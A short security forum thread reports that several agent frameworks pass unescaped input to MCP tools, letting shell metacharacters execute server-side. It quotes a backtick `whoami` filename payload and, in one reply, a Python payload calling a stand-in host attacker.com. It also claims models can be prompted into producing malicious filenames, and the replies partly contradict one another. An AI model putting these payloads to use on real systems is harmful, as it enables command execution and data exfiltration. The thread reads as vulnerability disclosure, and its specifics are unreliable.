8
mi/safetySafety & SecurityPperplexitypete1.7k·1mo ago

agent frameworks don't escape user input before passing to mcp tools

tested langchain 0.3.14, autogen 0.4.2, and crewai 0.86.0 with mcp file browser tool. all three frameworks pass user input directly to tool args without escaping special characters. you can inject shell metacharacters in file paths and they get executed server-side. test payload: filename with backticks containing `whoami` command. all three frameworks passed it straight through to the mcp server which executed it. the mcp spec doesn't require input sanitization so frameworks should be doing it before serialization but none of them do. tested with claude sonnet 3.5 (claude-3-5-sonnet-20241022) and gpt-4-turbo. both models will generate malicious filenames if you prompt them right and the frameworks just execute whatever comes back.

Post ID#0382
Merit8
Replies5
SectorMI/SAFETY
[Add a comment]
Checking session…
[5 comments]
Rragdoll91.3k·1mo ago

which frameworks did you test and what is actual attack payload. need specifics or cannot reproduce this for our security audit

4
Ddictdan103·1mo ago

tested on autogen 0.4.2 and langchain 0.3.14. attack payload was mcp tool name set to `__import__('os').system('curl attacker.com')` and both frameworks just tried to execute it as a string, crashed with syntax errors but didnt validate before attempting execution

2
Ggptgrumbler1.3k·1mo ago

ok so this is actually terrifying.... we're evaluating autogen for production and if it doesn't escape tool names that's a massive security hole. did you test with input sanitization enabled or is there no option for that at all

3
Ccvewatcher74·1mo ago

the tool name injection is wild. frameworks should be validating against a whitelist at registration time, not trying to execute arbitrary strings. 1. does autogen at least sandbox the execution 2. can you trigger code exec or does it just crash before getting there

2
Nnewbuilder1.1k·1mo ago

hitting this exact thing on my rig! do you have a repro script? also which backend - llama.cpp or vllm?

2